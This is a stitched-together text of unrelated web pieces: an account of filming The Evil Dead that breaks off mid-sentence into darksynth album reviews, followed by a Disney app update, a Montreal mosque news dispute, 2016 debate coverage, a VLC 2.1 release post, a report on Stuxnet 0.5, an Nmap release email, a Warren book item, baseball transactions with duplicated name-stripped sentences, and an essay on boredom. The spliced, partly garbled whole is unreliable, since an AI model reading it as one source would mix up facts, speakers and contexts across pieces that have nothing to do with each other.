Raimi asked for help and assistance from several of his friends and past collaborators to make The Evil Dead.[16] Campbell was cast as Ash Williams, the main character.[17] To acquire more actors for the project, Raimi put an ad in The Detroit News. Betsy Baker was one of the actresses who responded, and Ellen Sandweiss, who appeared in Within the Woods, was also cast.[16] The crew consisted almost entirely of Raimi and Campbell's friends and family. The special make-up effects artist for Within the Woods, Tom Sullivan, was brought on to compose the effects after expressing a positive reaction to working with Raimi.[17] He helped create many of the film's foam latex and fake blood effects, and added coffee as an extra ingredient to the traditional fake blood formula of corn syrup and food coloring.[18][19]
Without any formal assistance from location scouts, the cast had to find filming locations on their own. The crew initially attempted to shoot the film in Raimi's hometown of Royal Oak, Michigan, but instead chose Morristown, Tennessee, as it was the only state that expressed enthusiasm for the project. The crew quickly found a remote cabin located several miles away from any other buildings. During pre-production, the 13 crew members had to stay at the cabin, leading to several people sleeping in the same room. The living conditions were notoriously difficult, with several arguments breaking out between crew members.[20]
Steve Frankel was the only carpenter on set, which made him the art direction's sole contributor.[21] For exterior shots, Frankel had to produce several elaborate props with a circular saw. Otherwise, the cabin mostly remained the way it was found during production. The cabin had no plumbing, but phone lines were connected to it.[20][22]
Principal cinematography [ edit ]
Because of the crew's inexperience, filming was a "comedy of errors".[23] The first day of filming led to them getting lost in the woods during a scene shot on a bridge.[23] Several crew members were injured during the shoot, and because of the cabin's remoteness, securing medical assistance was difficult.[24] One notably gruesome moment on set involved ripping off Baker's eyelashes during removal of her face-mask.[21] Because of the low budget, contact lenses as thick as glass had to be applied to the actors to achieve the "demonic eyes" effect.[21] The lenses took 10 minutes to apply, and could only be left on for about 15 minutes because eyes could not "breathe" with them applied.[21] Campbell later commented that to get the effect of wearing these lenses, they had to put "Tupperware" over their eyes.[21]
Raimi developed a sense of mise en scène, coming up with ideas for scenes at a fast rate.[14] He had drawn several crude illustrations to help him break down the flow of scenes. The crew was surprised when Raimi began using dutch angles during shots to build atmosphere during scenes.[25] To accommodate Raimi's style of direction, several elaborate, low-budget rigs had to be built, since the crew could not afford a camera dolly. One involved the "vas-o-cam", which relied on a mounted camera that was slid down long wooden platforms to create a more fluid sense of motion.[25]
A camera trick used to emulate a Steadicam inexpensively was the "shaky cam", which involved mounting the camera to a piece of wood and having two camera operators sprint around the swamp.[26] During scenes involving the unseen force in the woods watching the characters, Raimi had to run through the woods with the makeshift rig, jumping over logs and stones.[25] This often proved difficult due to mist in the swamp.[27] The film's final scene was shot with the camera mounted to a bike, while it was quickly driven through the cabin to create a seamless long take.[25]
Raimi had been a big fan of The Three Stooges franchise during his youth, and it inspired him to use "Fake Shemps" during production.[9][14][28] In any scene that required a background shot of a character, he would use another actor as a substitute to save time if the original actor was preoccupied.[29] During a close-up involving Richard DeManicor's hand opening a curtain, Raimi used his own hand in the scene since it was more convenient. His brother Ted Raimi was used as a substitute in many scenes when the original actor was either busy or preoccupied.[29]
Raimi famously enjoyed "torturing" his actors.[30][31] Raimi believed that to capture pain and anger in his actors, he had to abuse them a little at times, saying, "if everyone was in extreme pain and misery, that would translate into a horror".[30] Producer Robert Tapert agreed with Raimi, commenting that he "enjoyed when an actor bleeds."[30] While shooting a scene with Campbell running down a hill, Campbell tripped and injured his leg.[32] Raimi enjoyed poking Campbell's injury with a stick he found in the woods. Because of the copious amounts of blood in the film, the crew produced gallons of fake blood with karo syrup.[24][32] It took Campbell hours to remove the sticky substance from himself.[32] Several actors had inadvertently been stabbed or thrown into objects during production.[30][32]
On the last few days on set, the conditions had become so poor that the crew began burning furniture to stay warm. Since only exterior shots needed to be filmed at that point, they burned nearly every piece of furniture left.[33] Several actors went days without showering, and because of the freezing conditions, several caught colds and other illnesses. Campbell later described the filming process as nearly "twelve weeks of mirthless exercise in agony", though he allowed that he did manage to have fun while on set.[32] On January 23, 1980, filming was finished and almost every crew member left the set to return home, with Campbell staying with Raimi.[33] While looking over the footage that had been shot, Raimi discovered that a few pick-ups were required to fill in missing shots. Four days of re-shoots were then done to complete the film.[34] The final moment involved Campbell having "monster-guts" splattered on him in the basement.[34]
Editing [ edit ]
(pictured right) of the Joel Coen) of the Coen brothers helped to edit the film.
After the extensive filming process, Raimi had a "mountain of footage" that he had to put together.[24][35] He chose a Detroit editing association, where he met Edna Paul, to cut the film. Paul's assistant was Joel Coen of the Coen brothers, who helped with the film's editing.[35][36] Paul edited a majority of the film, although Coen notably edited the shed sequence. Coen had been inspired by Raimi's Within the Woods and liked the idea of producing a prototype film to help |
has stated that Hellicoprion is a concept album about the titular shark, using the monstrous, alien nature of the creature as a metaphor for his own contempt for mankind. This album certainly is alien and contemptuous, and the synth sounds present are so organic and brutal, I can neither confirm nor deny the presence of guitars on the record.
[hr]
Microchip Terror – Microchip Terror (EP) (Independent, January 17, 2017)
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Microchip Terror is a new darksynth producer from Singapore who released this little terror of an EP at the top of the year. He is fairly unknown at the moment, but I have a feeling that will change. His style takes now-familiar Perturbator worship and elevates it with some industrial rhythmic styles and a healthy dash of cinematic flair. The title track is loud, driving, and aggressive, but miraculously preserves the genre’s nostalgic flair. The rest of the tracks show an encouraging range, with “Cyber Tyrants” being an especially pleasurable mixture of melodic chaos and odd percussion. SurgeryHead stops by for a remix that takes a gloomy road from industrial ambiance to straight-up gabber, and the final track, a Fabio Frizzi cover, is a fantastic closer that sounds like it should be providing an emotional through line for a much larger record. This EP packs a lot of ideas and originality into a short run time. If you love darksynth, this guy needs to be on your list.
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Timestalker – Pandemonium (Independent, April 10, 2017)
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Swiss producer Timestalker takes a lot more “traditional” darksynth sound than the others on this list. Pandemonium is a soundtrack to a movie that doesn’t exist. From the enigmatic cover art, to the horn sounds trumpeting the arrival of the first track, to the sense of climactic finality of the last tune, this album tells a distinct story through vague methodology. Huge tempo, mood, and instrumentation changes intercut every tune, making the distinction between individual tracks less relevant. Pandemonium is best heard as a whole, maybe while reading a cyberpunk novel or making a Pinterest board of demon woodcarvings. The genre of film this album is emulating isn’t easy to nail down. There is an obvious sheet of spookiness draped over the bass synths and track titles, but the dreamy, cosmic melodies hint at space travel and strange airships. Perhaps “Lovecraftian” would be the best way to convey the mood of Pandemonium.
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If you enjoy any of these albums, please consider supporting the artists. Many of these records are available on cassette tape if you’re a filthy freak and you’re into that sort of thing.
Did you dig this? Take a second to support Toilet ov Hell on Patreon!When MyMagic+ first came on the scene several years ago, we all knew that this massive system would eventually be used for way more than just FastPass+ reservations. And in the years since it debuted, we’ve seen MyMagic+ and the My Disney Experience app used to help guests make advance dining reservations, view PhotoPass pictures, purchase theme park and special event tickets, and more.
Earlier this week, the My Disney Experience app got yet another update that brought significant changes to this essential tool. From new add-ons that will help guests customize their PhotoPass photos to new ways to find wait times and navigate around the park, here are all the changes that have been made to My Disney Experience over the past few days that you might not have noticed!
1. PhotoPass customization and editing comes straight to your smartphone
Disney has updated the iOS version of My Disney Experience to include a brand new editing feature for PhotoPass photos. Guests who access My Disney Experience via an iPhone, iPad or iPod will now be able to launch the PhotoPass photo viewers feature and can then add special stickers, filters and borders to images that have been purchased or are tied to an account with Memory Maker. Guests can also use this new editing tool to crop images as well. As with regular PhotoPass images, edited pictures can be saved directly to your device's camera roll and easily shared to social media accounts like Facebook and Twitter.
Interestingly, changes made to photos using this app do not sync across all versions of My Disney Experience, and can only be saved locally on a users' device, which means if you want hard copies made, you'll need to print them at home, as these images will not be tied to your official PhotoPass account. If you want official prints with stickers, frames, and more, you can still use the official online web-based PhotoPass editor (which has the same stickers, borders, etc.), which can be found here.
2. New holiday-themed animated magic shots now available at Disney's Hollywood Studios and the Magic Kingdom
Image: Disney
And speaking of PhotoPass, if you have taken some photos around Walt Disney World this holiday season, you might be surprised to find some brand new Magic Shots inside your My Disney Experience app. At Disney’s Hollywood Studios near Tailors to the Stars on Hollywood Boulevard (in front of the Great Movie Ride), guests can take an Animated Magic Shot inspired by the brand new Jingle Bell Jingle BAM show that features members of the elite Prep & Landing unit, currently seen in this nighttime spectacular.Quebec's construction commission (CCQ) is looking into questionable allegations that a Montreal mosque asked that female workers be excluded from a nearby construction site on Fridays, the Muslim day of prayer.
According to a report by TVA Nouvelles published Tuesday, the directors of two mosques on de Courtrai Avenue in Côte-des-Neiges asked G-Tek, an electrical contractor carrying out work near the mosque, that women not be visible at the site on Fridays.
The original news report said a clause in the contract for the electrical work backed up that claim.
However, the TVA story has since been changed to say the clause in the contract had to do with accommodating the mosque to keep noise away on Fridays, not women. The revised news report doesn't acknowledge that the story was amended or why.
A subsequent story says the TVA reporter was provided contradictory information by a G-Tek employee.
The board of directors of the Ahl-Ill Bait Mosque refutes the news report in its entirety, adamant that no request to bar women from the site on Fridays was ever made. The board has hired a lawyer.
The mosque's version of events is backed up by the Commission des services électriques de Montréal (CSEM), the paramunicipal agency that hired G-Tek to carry out the electrical work.
Union officials representing workers on the site believe the request may have come from a neighbour, and not the mosque itself.
TVA responds
CBC News posed TVA a series of questions about the story, including why an interview with a member of the mosque's board of directors was not included in the initial broadcast, why the story was subsequently changed and whether the media outlet stands by its reporting.
"Did you read the report yesterday on this subject?" asked Véronique Mercier, vice-president of communications for Québecor Média and Groupe TVA, in an email.
"The story is founded. There is a verbal agreement that exists. Several sources, including employees, confirmed it."
This constituted the entirety of TVA's response.
'Stay calm,' says labour minister
Quebec Labour Minister Dominique Vien asked the CCQ to look into the claim, calling the idea of excluding women from a construction site "unacceptable."
At the National Assembly Wednesday, Vien said she was "troubled" by the allegations when she heard about them, adding that equality between men and women is a fundamental right.
"I'm calling on people to calm down; stay calm, we'll look into the facts."
The CCQ is not carrying out an investigation, according to CCQ President Diane Lemieux, but is verifying the information that's circulating. It's expected to release its findings in the coming days.
Any clause that mandates the exclusion of women from a construction site would contravene the Canadian Charter of Rights and Freedoms and Quebec's Act respecting labour standards, Lemieux told Radio-Canada.
What may have happened
G-Tek was hired to bury power lines underground, and some of that work is taking place on the mosque's property, explained the president of CSEM, Serge Boileau.
Boileau said that there was never a clause in the contract stating women weren't allowed to work at the site on Fridays. Rather, CSEM reached an agreement with the mosque that work not be done on mosque property Fridays, to limit the noise on the Muslim day of prayer. That agreement is in the contract.
Boileau said he checked with managers at G-Tek, who told him they hadn't received a request from the mosque that women be kept away Fridays, either.
However, Stéphane Fortin, the president of G-Tek, told Radio-Canada a foreman at the construction site was approached by someone who said he was from the mosque who asked that women not be allowed to work there on Fridays — a request that the foreman complied with on his own.
G-Tek has not responded to a CBC News request for comment.
A slightly different version emerged late Wednesday. The union that represents some of the workers on the site dispatched an official to speak with its members earlier in the day.
The workers told their representative that the request to remove women from the site during prayer time on Fridays came from a neighbour, not the mosque, said Lyne Laperrière, who heads the construction division of Centrale des syndicats démocratiques (CSD).
Laperrière said it appears the request was made to the contractor, who accommodated the request.
"At no time did workers lose salary. The contractor took it upon himself to move them elsewhere for the duration of prayers," Laperrière said. "Why he listened to a demand from a neighbour, why don't have that answer."
Hate incited, mosque director says
Moayed Altalibi, a director of the board of Ahl-Ill Bait Mosque, one of the two mosques referenced in the original news report, said he doesn't know where the story comes from, and he was shocked when he heard it.
"Since yesterday, we are receiving a lot of angry emails and messages. People are fuming. [The report] incited hate and derision in the community," Altalibi said.
How can, in this world, here in Montreal, somebody prevent a woman from working? - Ahl-Ill Bait Mosque director Moayed Altalibi
The mosque's board has passed on some of the messages it's received to police, Altalibi said. Montreal police were not immediately able to confirm whether a complaint had been filed.
Altalibi said there is another mosque near Ahl-Ill Bait, but the two mosques do not share a board of directors, nor is electrical work being done outside the other mosque.
He also said he felt as if the TVA reporter wasn't interested in hearing the mosque's side of the story.
"When the report was broadcast again the second time, I went myself, even though it was a snowstorm and I live a little bit far from the centre," he said.
"I made a lengthy interview with the same reporter. She did not report any part of it."
The borough mayor of Côte-des-Neiges–Notre-Dame-de-Grâce, former Montreal Gazette journalist Sue Montgomery, says TVA should apologize and retract its story.Republican presidential nominee Donald Trump and Democratic presidential nominee Hillary Clinton sparred over video of Trump's lewd remarks and former president Bill Clinton's past scandals, Oct. 9 at the second presidential debate in St. Louis. (The Washington Post)
In the first 10 minutes of Sunday's presidential debate, CNN’s Anderson Cooper asked Donald Trump if he had ever grabbed a woman’s genitals without permission.
Cooper was referencing the 2005 footage first published by The Washington Post in which Trump spoke graphically about women.
“You described kissing women without their consent, grabbing their genitals. That is sexual assault," Cooper said. "You bragged that you have sexually assaulted women. Do you understand that?”
“No, I didn’t say that at all,” Trump replied. “I don’t think you understood what was said. This was locker-room talk. I’m not proud of it. I apologized to my family, I apologized to the American people.”
[Why the most outrageous part of Donald Trump’s ‘hot mic’ comments isn’t the vulgar language]
The exchange stands out for more than just its lewd content, already unusual in the context of a presidential debate. Cooper used the Justice Department’s definition in describing the behavior Trump bragged about in the conversation, calling it “sexual assault.”
The Justice Department defines sexual assault as “any type of sexual contact or behavior that occurs without the explicit consent of the recipient.”
During Tuesday’s showdown, the Republican presidential candidate attempted to change the topic, bringing up his intention to destroy the Islamic State.
“Just for the record, though,” Cooper cut in, “are you saying that what you said on that bus 11 years ago, that you did not actually kiss women without consent or grope women without consent?”
“I have great respect for women,” Trump responded. “Nobody has more respect for women than I do. Frankly, you hear these things — they’re said.”
“Have you ever done those things?” Cooper asked.
“No, I have not,” Trump said.
[A 6-year-old asks: ‘What does it mean to grab somebody by the p---y?’]
Cooper isn’t the only public figure to label the behavior Trump described as sexual assault.
“Donald Trump’s behavior this week, concluding with the disclosure of his demeaning comments about women and his boasts about sexual assaults, make it impossible to continue to offer even conditional support for his candidacy,” Sen. John McCain (R-Ariz) said in a statement Saturday. “Cindy, with her strong background in human rights and respect for women fully agrees with me in this."
“That’s nothing less than someone talking about committing sexual violence — the kissing, the grabbing,” Bridgette Stumpf, co-executive director of Network for Victim Recovery of D.C., told The Post about Trump’s remarks. “He’s talking about women as if they’re objects, as if they don’t have a right to consent to the way someone touches them. This is how sexual violence becomes accepted in our culture.”
In the tape, which dominated the weekend news cycle, Trump talked into a hot mic about how he pursued women.
“You know I’m automatically attracted to beautiful — I just start kissing them,” Trump said in the recording. “It’s like a magnet. Just kiss. I don’t even wait.”
Fame gave him that ability, Trump continued. “When you’re a star, they let you do it,” he told to then-“Access Hollywood” host Billy Bush. “You can do anything.”
“Grab them by the p----,” Trump said. “You can do anything.”
He apologized for the comments in a statement and a 90-second television appearance Friday, explaining the conversation was “locker-room talk.”VLC 2.1.0 stable has been released with numerous improvements, new features and bugfixes. 2.1 is a major upgrade for VLC, named RinceWind.
Below is the announcement in VLC website:
VideoLAN and the VLC development team are glad to present the new major version of VLC, 2.1.0, named RinceWind With a new audio core, hardware decoding and encoding, port to mobile platforms, preparation for Ultra-HD video and a special care to support more formats, 2.1 is a major upgrade for VLC. Rincewind has a new rendering pipeline for audio, with better effiency, volume and device management, to improve VLC audio support. It supports many new devices inputs, formats, metadata and improves most of the current ones, preparing for the next-gen codecs. Rincewind fixes around a thousand bugs, in more than 7000 commits from 140 volunteers..
At the moment of writting this tutorial, the release note is still 404 page. I’ll add the link once it’s OK.
Features:
AUDIO:
Rewritten audio core, allowing better volume and device management.
Rewrite of the audio modules, to adapt to the new core.
Correct support for multi-channel layouts in all formats: 5.1, 6.1 and 7.1
New audio outputs for Windows Vista, Android, iOS, OpenBSD and OSSv4.
New remapping, gain, stereo widening, downmixing effects.
Higher samplerate, precision, live configuration in the core.
Numerous new audio metadata format supported.
VEDIO:
Port the OpenGL output to OpenGL ES.
Support color conversion shaders in glsl on Android and iOS.
New outputs for OpenMax IL on mobile and Decklink Blackmagic.
New video outputs for iOS using OpenGL ES2.
Support for deinterlacing for higher bit depth and XYZ colorspace.
New anaglyph filter for side-by-side 3D.
4K-ready :)
CODECS:
Add hardware decoding for OS X using VDADecoder.
Add hardware decoding for Android using MediaCodec.
Add hardware decoding for GNU/Linux using VDPAU.
Add hardware encoding for Windows using Intel QuickSyncVideo.
Support for G2M4, MSS1, MSS2, TSCC2, CDXL, Ut, VBLE video codecs.
Support for Ulead DV audio, Indeo Audio Coder, RealAudio Lossless audio.
Support for SCTE-27 and complete EIA-608 subtitles
FORMATS:
Support for fragmented MP4, Wave/RF64 files.
Extended metadata tags and cover art support in Ogg, AVI, MP4 and MKV.
Support FLAC, Atrac, ADPCM, DV Type 1, 12bits DV audio in AVI.
Extended support for AVI, MKV and MJPEG streams.
Better recording of AVI and MKV format.
Audio fingerprinting using AcoustID.
INPUT AND DEVICES:
Support for screen input on OSX Lion and later.
Support for Microsoft Smooth Streaming, developed by Viotech.net
New RTMP input module, using libavformat!
Support for VNC/rfb and Remote Desktop view-only modes.
Important improvements on Blu-Ray, Dash, v4l2 and HTTP inputs.
New AVFoundation OS X and shm framebuffer inputs.
FOR ANIME FANS:
New 6.1 downmixer to 5.1 and Stereo from MKV/Flac 6.1.
Correct YUV->RGB color matrix in the OpenGL shaders.
Improved MKV support for seeking, and resiliancy.
Editions support in MKV.
Better subtitles and metadata support from MKV.
Various ASS subtitles improvements.
FOR MOBILE:
Port to Android, from 2.1 to 4.3, on ARMv6, ARMv7, x86 and MIPS.
New port to iOS, from iOS 5 to 7, on all iPads and iPhones after 3GS.
Partial port to WinRT, for Windows 8, 8.1 and WP8.
OpenGL ES optimized outputs.
Improvements of OpenMAX IL decoders, encoders and renderers.
New audio, video outputs and interfaces for mobiles.
FOR DEVELOPERS:
libVLC and most modules are now LGPLv2.1+.
libVLC media framework can now be used in all types of applications.
libVLC SDK packages now exists, in addition to more examples.
Improved libVLC API, for better control.
VLC’s web plugins now support windowless mode, for smoother integration with HTML elements.
VLC 2.1 release note.
The VLC stable PPA is ready for Ubuntu 13.10 Saucy. Due to dependency problem, you can’t install VLC 2.1 on Ubuntu 13.04 and older editions.
Run below commands one by one in terminal (Ctrl+Alt+T) to upgrade to 2.1.0 in Ubuntu 13.10:
sudo add-apt-repository ppa:videolan/stable-daily sudo apt-get update sudo apt-get install vlc browser-plugin-vlcRSA 2013 A new report from Symantec claims that Stuxnet is not a recent piece of malware, but was in action trying to cripple Iran's nuclear program way back in 2005.
"We now have evidence that Stuxnet actually had its command and control servers alive in 2005, that's five full years than anyone previously thought," said Francis deSouza, president of products and services at Symantec in his RSA 2013 keynote. "We also have evidence of this early variant of Stuxnet that we captured called Stuxnet 0.5, which behaves very differently from Stuxnet 1.0 found in 2010."
The 2010 version of Stuxnet attacked the Iranian nuke fuel program at Natanz by varying the speeds of motors in the centrifuges used for preparation of uranium at the plant. But Stuxnet 0.5 was designed for a different form of sabotage, and one that could have had explosive results.
The newly discovered code, which was first active in 2007, was installed via a USB key and lay dormant until the enrichment process began. It then took a series of snapshots of the control screen of the plant with all systems running normally, made an inventory of the system, and then went to work on the valves that feed uranium hexafluoride gas into the centrifuges.
These valves would be opened up to make sure the gas flowed into the centrifuges regardless of the state of the fuel. It would hold them open for six minutes, all the while displaying the normal operations screens it swiped earlier, then would shut itself down and go into hiding again.
As well as damaging both the centrifuges and the fuel, such jiggery pokery could conceivably have caused a pressure buildup that would have caused the highly corrosive and toxic gas to leak out. It is not known what the final damage was to the Iranian facility, but according to data from the Institute for Science and International Security (ISIS) it caused a significant dip in the amount of usable uranium created.
What's interesting here is the timing. The earlier build of Stuxnet was set up in 2005, well before the Natanz plant was even operational. The plant went live in 2007, and the malware was ready to go once the Iranians started the process. The 0.5 version of the code finally deactivated in 2009, six months before Stuxnet 1.0 was released.
It's widely reported that the US and Israeli government developed Stuxnet as a counter to Iran's nuclear ambitions as part of Project Olympic. It was tested on Pakistani-sourced P-1 centrifuges that the Libyans handed over when they ended their nuclear program in 2003, and these same systems are in use by the Iranians.
"These results show we are now close to the end of the first decade of weaponized malware," deSouza said. "As research continues to show, research and development on these kinds of weapons continues to grow." ®Nmap Development mailing list archives
By Date By Thread Nmap 7.12 Released From: Daniel Miller <bonsaiviking () gmail com>
Date: Tue, 29 Mar 2016 22:13:15 -0500
Hello again, Nmap users and developers. Today we're pleased to announce the release of Nmap 7.12 which fixes the config file corruption issues that many users have been experiencing with Zenmap. Of course, we couldn't let a release slide in without a few new enhancements, too. As always, 7.12 source code and binary packages for Linux, Windows, and Mac OS X are available for free download from https://nmap.org/download.html If you find any bugs in this release, please let us know on this list as described at https://nmap.org/book/man-bugs.html or on our bug tracker at http://issues.nmap.org/ Here are the details from the changelog: o [Zenmap] Avoid file corruption in zenmap.conf, reported as files containing many null ("\x00") characters. Example exceptions: TypeError: int() argument must be a string or a number, not 'list' ValueError: unable to parse colour specification o [NSE] VNC updates including vnc-brute support for TLS security type and negotiating a lower RFB version if the server sends an unknown higher version. [Daniel Miller] o [NSE] Added STARTTLS support for VNC, NNTP, and LMTP [Daniel Miller] o Added new service probes and match lines for OpenVPN on UDP and TCP. Enjoy the new release, and happy scanning! Dan _______________________________________________ Sent through the dev mailing list https://nmap.org/mailman/listinfo/dev Archived at http://seclists.org/nmap-dev/ By Date By Thread Current thread: Nmap 7.12 Released Daniel Miller (Mar 29)BY:
Right before Sen. Elizabeth Warren (D., Mass.) took to the Senate floor on Tuesday night to read Coretta Scott King's 1986 letter to oppose Jeff Sessions for attorney general, her publishing company tweeted out the release date of her new book, This Fight Is Our Fight.
Warren had previously said she opposed President Trump's nominee to head the Justice Department, but she did not forcefully mount her campaign against the Alabama senator until after publisher Henry Holt announced Tuesday at 3:09 p.m. that her book will be coming out on April 18.
Just announced! Elizabeth Warren's new book, THIS FIGHT IS OUR FIGHT, is on-sale on April 18th. https://t.co/Blq8FpP6kW — Henry Holt (@HenryHolt) February 7, 2017
About 90 minutes later, Warren shared the link to pre-order her book on Facebook, the Daily Caller News Foundation noted.
Three hours later, Warren was ordered to stand down on the Senate floor because she impugned Sessions' character in violation of Senate Rule 19, which states that senators are not allowed to "directly or indirectly, by any form of words impute to another senator or to other senators any conduct or motive unworthy or unbecoming a senator."
Warren had called Sessions a "disgrace," said his confirmation to attorney general would be an "insult to African Americans," and read a 1986 letter from King that accused Sessions of using "the awesome powers of his office in a shabby attempt to intimidate and frighten elderly black voters."
Senate Majority Leader Mitch McConnell (R., Ky.) and other Senate Republicans invoked Rule 19 to bar her from speaking on the Senate floor on Sessions' nomination until after the vote occurred. (The Senate confirmed Sessions to become the next attorney general on Wednesday night.)
Around 11:00 p.m. on Tuesday, hours after the incident on the Senate floor, Warren sent an email to supporters soliciting donations, the Daily Caller News Foundation reported Wednesday evening. The email explained what happened that night and included a donation button.
Minutes after sending her email to supporters, Warren called CNN's Don Lemon to discuss the incident on television.
MoveOn members contributed $250,000 to Warren's re-election campaign in about 12 hours, CNN reported.
Warren received an enormous amount of publicity after she violated Rule 19, which included a trending hashtag #LetLizSpeak on Twitter. Even McConnell's statement on why he invoked Rule 19 against Warren left her with a new hashtag.
"She had appeared to violate the rule. She was warned. She was given an explanation. Nevertheless, she persisted," McConnell said, sparking #ShePersisted to appear throughout Twitter, often accompanied with pictures of historic female figures (and Princess Leia).
"She was warned. She was given an explanation. Nevertheless, she persisted." #ShePersists pic.twitter.com/zibEorqbNq — Brian Jay Jones (@brianjayjones) February 8, 2017
In the face of racism, in order to get an education, #ShePersisted #ElizabethEckford pic.twitter.com/Tls5WrwnoL — Kelsey Ratliff (@KelsCalrissian) February 9, 2017
She was warned. She was given an explanation. Nevertheless, she persisted. pic.twitter.com/ebXJRX23Re — Marc (@MarcSnetiker) February 8, 2017
Warren later unleashed a Twitter storm once Sessions was confirmed on Wednesday, sending out eight tweets that ended with: "Consider this MY warning: We won't be silent. We will speak out. And we WILL persist."Here are today’s minor moves from around baseball, with the newest transactions at the top of the post…
The Mariners signed infielder Shawn O’Malley to a minor league deal and invited the 27-year-old to Spring Training, the team announced. O’Malley made his Major League debut last season, appearing in 11 games with the Angels. A fifth-round pick by the Rays in the 2006 draft, O’Malley has a.258/.351/.338 slash line over 2985 minor league plate appearances.
signed infielder to a minor league deal and invited the 27-year-old to Spring Training, the team announced. O’Malley made his Major League debut last season, appearing in 11 games with the Angels. A fifth-round pick by the Rays in the 2006 draft, O’Malley has a.258/.351/.338 slash line over 2985 minor league plate appearances. The Phillies signed shortstop Tyler Greene to a minor league deal, ESPN’s Jayson Stark reports (via Twitter). Greene, drafted 30th overall by the Cardinals in 2005, posted a.645 OPS over 746 PA with the Cards, Astros and White Sox from 2009-13, and he spent last season at the Triple-A level in the Braves’ and Padres’ systems.
signed shortstop to a minor league deal, ESPN’s Jayson Stark reports (via Twitter). Greene, drafted 30th overall by the Cardinals in 2005, posted a.645 OPS over 746 PA with the Cards, Astros and White Sox from 2009-13, and he spent last season at the Triple-A level in the Braves’ and Padres’ systems. The White Sox signed right-handers Jairo Asencio and J.D. Martin to minor league deals and invited them to Spring Training, the team announced. Both righties spent last season pitching in the Korean Baseball Organization. Asencio posted a 5.34 ERA over 55 2/3 IP with four teams from 2009-13. Martin, drafted 35th overall by the Indians in the 2001 draft, last pitched in the majors in 2010.
signed right-handers and to minor league deals and invited them to Spring Training, the team announced. Both righties spent last season pitching in the Korean Baseball Organization. Asencio posted a 5.34 ERA over 55 2/3 IP with four teams from 2009-13. Martin, drafted 35th overall by the Indians in the 2001 draft, last pitched in the majors in 2010. The Yankees signed catcher Eddy Rodriguez to a minor league deal, as per the team’s MLB.com transactions page. Rodriguez has a.235/.286/.386 slash line over 2271 minor league PA, mostly in San Diego’s system, as well as a two-game cup of coffee with the Padres in 2012.Paul Childs/Reuters Some scholars believe that bordeom is a modern condition — a byproduct of the standardized "clock time" ushered in by industrial capitalism, starting in the 18th century.
Paradoxically, time-use studies in recent decades find increased boredom in leisure activities, a finding akin to the ubiquitous complaint of "busyness" in an era of unprecedented technologically driven productivity and automation.
Productivity-enhancing technologies don't make us any less busy because they are too often designed and marketed not to free us up, but to enable us to take on more — more work, and more entertainment.
Similarly, a body of recent research into how we actually experience time indicates that the technologies defining leisure activities today — particularly video and social media— do not necessarily result in time well spent; to the contrary, they are perpetuating the ennui of 21st-century leisure life.
What constitutes time well spent?
According to the psychologist Mihaly Csikszentmihalyi it is when you achieve "flow — the state in which people are so involved in an activity that nothing else seems to matter; the experience itself is so enjoyable that people will do it even at great cost, for the sheer sake of doing it."
Beyond that, time researchers I spoke to all agree that at a minimum one must feel in control of one's time, rather than being controlled by it.
We may think we're in control of our time when we're not. Anindito Mukherjee/Reuters The time perspectives scholar Nicolas Fieulaine told me, "The more you have control of your time, the less you are under time pressure."
One pitfall here is that we may think we're in control when we're not. Activities like binge-watching TV or scrolling through social media feeds provide immediate, temporary rewards that crowd out our future and past perspectives, much more so than with cognitively demanding activities like deep reading or socializing with others.
Csikszentmihalyi made the same point 25 years ago when he wrote that "TV watching, the single most often pursued leisure activity in the US today, leads to the flow condition very rarely […] One of the most ironic paradoxes of our time is this great availability of leisure that somehow fails to be translated into enjoyment."
One of the most ironic paradoxes of our time is this great availability of leisure that somehow fails to be translated into enjoyment."
A 2007 paper in the Journal of Economic Psychology notes that excessive TV viewing in developed societies correlates strongly with reports of low subjective well-being.
In fact, numerous surveys have documented that people who watch a lot of TV don't actually enjoy it any more than most other activities, including their job or housekeeping.
The authors suggest that this clear rebuke to rational choice theory is because TV, with its ease of use and instant rewards, "lends itself to over-consumption."
When I asked Csikszentmihalyi recently about newer forms of virtual entertainment technologies, he told me that early-stage research in the field linking increased anxiousness with frequent smartphone use is already enough for him "to believe that the connection might be real."
Are we simply punctuating boredom with new anxieties? Marc Wittmann, a researcher on temporal experience and the author of the new book Felt Time: The Psychology of How We Perceive Time, says these may be two sides of the same coin. He told me in an email that:
"When you don't feel yourself, time flies by; when you do feel yourself (in the shopping queue, any waiting situation) time drags. That's why people, even when they have to wait only for two minutes at Starbucks, check their smart phone. They want to get distracted from themselves and time. Boredom means 'I am bored by my own existence, therefore I seek distraction from myself.'"
By "feel yourself," Wittmann means self-awareness or self-consciousness, which is to say feeling alone with oneself, and therefore not in control of one's temporal circumstances — the opposite of "losing" oneself in a genuinely meaningful and rewarding experience.
¤
Giampiero Sposito/Reuters Other than circadian rhythms and menstrual cycles, there is no biological clock to set the pace of lived experiences, so our sense of temporality is highly susceptible to external events and the media through which we encounter them. According to Wittmann, time is one element amid a fugue of neuro-processes through which consciousness emerges from the brain.
Research has found that the brain has about a three-second tick to it
Research has found that the brain has about a three-second tick to it, which constitutes our maximum cognizance of what we would call the present, after which it is then consigned to memory and the past.
In The Principles of Psychology, William James grappled with time's abstractness: "[The] present is no knife-edge, but a saddle-back, with a certain breadth of its own on which we sit perched, and from which we look in two directions into time."
We tend to feel as though we are situated within a one-way stream of time — that as we know our past, so too do we anticipate our immediate future.
In Transparent Things, Vladimir Nabokov echoes James's imagery, but not his sureness for our place in time. Nabokov rejects the notion that we can really look at time as forward-moving, and notes that the past is only "so seductive" precisely because we cannot know the future.
If we could, "Persons might then straddle the middle stretch of the seesaw when considering this or that object." For him there is only memory, and the material objects that map its cloudy topography in our minds; the future is nonexistent, "a figure of speech, a specter of thought."
Even that three-second present, too, must share the same nonexistence. Like beaming a light on a shadow, it seems impossible; we feel it right now, and yet "right now" it is already past. Most theoretical physicists would agree, and they'd take it further. Of course the future and the present don't exist, they'd say, but neither does time itself, at least not as a property of the material universe.
Time, for practical purposes, is a linguistic construct whose true essence we must discern within human experience, be that our own or others' shared through social intercourse. Or in other words, if we want to understand how time works, outside of the laboratory, we must tease it out of our own subjective psyches.
In fact, according to Wittmann in Felt Time, our subjectivity itself — central to what makes us human — emerges from the interplay of space and time in our minds, from the recognition of "oneself as something that persists through time and is embodied."
Paradoxically, time can "fly" when we're bored — not just when we're having fun. Reuters Boredom, then, is the emotion of an unstimulated subjectivity — it is the feeling of becoming "directly aware of the fact that one is trapped in time," where "one experiences an uncomfortable proximity to oneself but does not know what to do with oneself."
We're all familiar with boredom's opposite: "Time flies when you're having fun."
